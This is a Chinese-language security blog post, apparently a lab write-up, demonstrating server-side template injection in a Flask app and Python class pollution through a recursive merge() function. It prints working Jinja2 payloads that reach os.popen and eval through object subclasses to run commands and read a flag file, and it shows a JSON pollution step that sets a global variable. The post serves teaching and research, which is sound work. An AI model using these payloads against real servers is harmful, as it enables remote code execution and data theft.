【漏洞复现】探索 Python 中原型链的利用与污染

前言

本篇博文主要内容是通过具体案例的分析,探讨 Python 中出现的原型链利用和污染所涉及的安全问题

严正声明:本博文所讨论的技术仅用于研究学习,旨在增强读者的信息安全意识,提高信息安全防护技能,严禁用于非法活动。任何个人、团体、组织不得用于非法目的,违法犯罪必将受到法律的严厉制裁。

原型链的利用

现在有这么一个 Flask 程序,会把用户的输入渲染到对话框中,如下图所示:

我们的目的是通过这个输入框,获取到同级目录下的 flag.txt 文件的内容,目录结构如下所示:

├──app.py
├──flag
├──requirements.txt
│
├─static
│
├─templates

通过阅读后端代码可以发现,该程序使用了危险函数 render_template_string(),并且在该程序中,render_template_string() 直接渲染用户输入的数据作为模板,并且没有进行适当的转义或清洗,这就可能导致服务器端模板注入(Server-Side Template Injection,SSTI)攻击。

@app.route('/', methods=['GET', 'POST'])
def vulnerable():
    chat_log = []

    if request.method == 'POST':
        user_input = request.form.get('user_input')
        try:
            result = render_template_string(user_input)
        except Exception as e:
            result = str(e)

        chat_log.append(('输入', user_input))
        chat_log.append(('输出', result))

    return render_template('index.html', chat_log=chat_log)

在 Flask 中,模板引擎默认是 Jinja2。Jinja2 模板引擎允许在模板中使用变量和表达式,如果这些变量和表达式来自不可信的源,就可能被恶意构造,导致执行非预期的代码。

一路跟进 render_template_string() 的源代码:

[jinja2/environment.py]  from_string()       ->
[jinja2/environment.py]  self.compile()      ->
[jinja2/environment.py]  self._parse()       ->
[jinja2/parser.py]       Parser().parse()

可以发现,render_template_string() 并没有对输入的参数进行转义,而是直接在 Jinja2 模板中进行使用。

这里输入的是 {{5*5}},目的是让 Jinja2 模板能够执行 5*5 的运算。

接下来,我们就利用这一特性,来进行实际操作。


需要注意的是,我们得想好用什么库来读取 flag.txt 文件,这里使用 os.popen 去读取 flag.txt 文件(当然还有其他方式,比如 FileLoader.get_data(),全凭个人喜好),因此我们现在要想办法导入 os 库。

我们可以从基类 object 下手,看一下它的子类集里是否有包含 os 相关的库,object.__subclasses__():

可以发现有两个相关联的库,<class 'os._wrap_close'> 和 <class 'os._AddedDllDirectory'>,这里我们就以 os._wrap_close 为例。

通过源码阅读发现,我们可以在 os._wrap_close 的 __init__ 方法中使用 global 来调用 popen() 方法,代码如下所示:

os._wrap_close.__init__.__globals__["popen"]

运行结果:

因此,最终代码如下所示:

classes = {}.__class__.__base__.__subclasses__() # object.__subclasses__()
names = [cls.__name__ for cls in classes]
print(names.index("_wrap_close")) # 134

classes[134].__init__.__globals__["popen"]("type flag").read()

运行结果:


当然还有其他方法,例如使用危险函数 eval()。

这里需要了解一个前置知识,通过 eval() 这个函数可以导入 Python 库,比如导入上文我们要使用的 os 库,代码如下所示:

eval('__import__("os")')

运行结果:

其他过程相似,主要就是整个原型链利用的过程,代码如下所示:

{}.__class__.__base__.__subclasses__()[134].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("type flag").read()')

运行结果:

又或者使用 FileLoader.get_data() 方法来读取文件,代码如下所示:

{}.__class__.__base__.__subclasses__()[100].__dict__['get_data'](0, 'flag')

运行结果:

方法很多,剩下的请自行探索...

原型链的污染

现在有这么一个 Flask 程序,它是一个简易的博客网站,如下图所示:

我们的目的是通过 /get_flag 接口获取到 treasure,要实现这一目的,只需使得 flag 的值为 true 即可,代码如下所示:

而 flag 则是要从环境变量中获取,代码如下所示:

flag = os.getenv("flag")

按照正常的逻辑,我们是无法去修改环境变量里的值,因此,我们要另寻出路。

看到导入的方法里有 merge() 函数,点进去一看,果然是熟悉的味道,代码如下所示:

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

再看到使用 merge() 函数的地方,代码如下所示:

@app.route("/save_feedback", methods=["POST"])
@login_required
def save_feedback():
    data = json.loads(request.data)
    feedback = Feedback()
    # Because we want to dynamically grab the data and save it attributes we can merge it and it *should* create those attribs for the object.
    merge(data, feedback)
    save_feedback_to_disk(feedback)
    return jsonify({"success": "true"}), 200

class Feedback:
    def __init__(self):
        self.title = ""
        self.content = ""
        self.rating = ""
        self.referred = ""

恰好符合我们利用的条件,可以通过 Feedback 来获取到全局变量,从而实现污染 flag = "true"。

先尝试随便创建一个 Feedback,如下图所示:

现在我们去 /get_flag 返回的是 Nope,如下图所示:

将刚刚创建 Feedback 的接口进行重放,同时污染 flag 变量,如下图所示:

现在再去访问 /get_flag 接口,成功拿到了我们想要的 treasure,如下图所示:

后记

在本文中,我们从实际应用的角度出发,深入探讨原型链的利用方式,并剖析可能导致代码安全漏洞和意外行为的污染情形,同时希望读者深刻了解 Python 中原型链的概念、机制以及潜在的安全风险。

作者:sidiot
链接:https://juejin.cn/post/7390956576179585024

  • 8
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值